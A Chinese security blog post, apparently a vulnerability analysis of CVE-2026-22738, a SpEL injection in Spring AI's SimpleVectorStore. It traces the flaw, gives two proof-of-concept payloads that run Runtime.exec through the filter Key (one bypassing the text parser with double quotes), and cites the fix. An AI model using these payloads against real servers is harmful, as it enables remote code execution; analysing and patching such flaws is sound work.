RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸

· 2026-04-07 07:02 · 3 阅读

原创 KCyber 2026-04-07 07:02 北京

为更好学习交流,建了个技术交流群,大家可以扫描进群。

欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。

引言

近日 Spring 官方发布安全通告,披露了 Spring AI 框架存在一处高危的 SpEL 表达式注入漏洞 (CVE-2026-22738) 。漏洞源于 SimpleVectorStore 实现向量检索过滤的逻辑中,将用户提供的过滤器表达式拼接到了 SpEL 模板中,并使用 StandardEvaluationContext 进行解析,导致可构造恶意 payload 实现 RCE 。

官方通报中提到了漏洞利用的前提条件:

In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.

影响版本:

  • • 1.0.x < 1.0.5

  • • 1.1.x < 1.1.4

漏洞分析

SimpleVectorStore 是 Spring AI 提供的一个简单的内存向量数据库实现,它允许用户定义类似 SQL 的过滤条件。具体使用案例可以参考:

https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html

SpEL表达式注入

漏洞触发点位于 SimpleVectorStore#doFilterPredicate 。该函数会将过滤条件直接通过 StandardEvaluationContext 函数进行解析,存在 SpEL 表达式注入风险:

搜索 doFilterPredicate 被调用的点,可以找到 similaritySearch 函数:

SimpleVectorStore.doFilterPredicate(SearchRequest)
    SimpleVectorStore.doSimilaritySearch(SearchRequest)
        AbstractObservationVectorStore.similaritySearch(SearchRequest)

similaritySearch 函数会使用向量数据库的嵌入模型,将查询的问题转换为多维向量。一个典型的 RAG 查询 demo 如下:

@PostMapping("/query")
public
 ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
    String
 result = ragService.query(simpleQuery);
...
public
 String query(SimpleQuery sr) {
    Filter.Expression maliciousExpr = new Filter.Expression(
            Filter.ExpressionType.EQ,
            new
 Filter.Key(sr.getFilterExpression()),
            new
 Filter.Value("anything")
    );
    SearchRequest
 searchRequest = SearchRequest.builder()
            .query(sr.getQuery())
            .topK(sr.getTopK())
            .similarityThreshold(sr.getSimilarityThreshold())
            .filterExpression(maliciousExpr)
            .build();
    List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

Bypass FilterExpressionTextParser

为了进入 StandardEvaluationContext 处理逻辑,传递过来的 filterExpression 需要非空,格式如下:

/**
 * Triple that represents and filter boolean expression as
 * <code>left type right</code>.
 *
 * @param type Specify the expression type.
 * @param left For comparison and inclusion expression types, the operand must be of
 * type {@link Key} and for the AND|OR expression types the left operand must be
 * another {@link Expression}.
 * @param right For comparison and inclusion expression types, the operand must be of
 * type {@link Value} or array of values. For the AND|OR type the right operand must
 * be another {@link Expression}.
 */
public record Expression(ExpressionType type, Operand left, Operand right) implements Operand {
    public
 Expression(ExpressionType type, Operand operand) {
        this
(type, operand, null);
    }
}

filterExpression 对象由 Key 、Type 和 Value 组成。同时注意存在 FilterExpressionTextParser 过滤检查:

convertExpression 将 filter.ExpressionAST 递归遍历,其中 doKey 将 Key 无任何转义拼接到 #metadata 模板:

doValue 通过 emitSpelString 对 Value 中单引号、反斜杠等进行了转义,并且格式化为了日期格式:

Value 难以直接利用,但可以将 SpEL 载荷放到 Key 中来完成注入,这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE :

'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) + #metadata['x

Bypass FilterExpressionTextParser

此外,filterExpression 还支持纯字符串进行实例化:

public Builder filterExpression(@Nullable String textExpression) {
    this
.searchRequest.filterExpression = (textExpression != null)
            ? new FilterExpressionTextParser().parse(textExpression) : null;
    return
 this;
}

但是如果使用字符串形式的过滤器,Spring AI 会调用 FilterExpressionTextParser 进行格式处理。这里存在空值检查,并会自动加入 WHERE 前缀,更关键还会进行 ANTLR4 校验:

修改 demo 如下:

@PostMapping("/query")
public
 ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
    String
 result = ragService.query(simpleQuery);
...
public
 String query(SimpleQuery sr) {
    // Filter.Expression maliciousExpr = new Filter.Expression(
    //         Filter.ExpressionType.EQ,
    //         new Filter.Key(sr.getFilterExpression()),
    //         new Filter.Value("anything")
    // );
    SearchRequest searchRequest = SearchRequest.builder()
            .query(sr.getQuery())
            .topK(sr.getTopK())
            .similarityThreshold(sr.getSimilarityThreshold())
            .filterExpression(sr.getFilterExpression())  //字符串实例化
            .build();
    List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

常规的 SpEL 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL 改造成合法的 Key 。

  • • FilterExpressionTextParser 将双引号内的字符串作为 Key ,符合语法校验;

  • • SimpleVectorStore 处理 AST 时,会直接取出引号内的内容进行拼接。

绕过检查的 payload 如下:

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" == 'anything'

修复方式

commit 记录:

https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29

没有采用常见的修复方式:将 StandardEvaluationContext 换成 SimpleEvaluationContext ,而是彻底移除 SpEL ,改用自定义 AST 遍历器直接求值。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。

跳转微信打开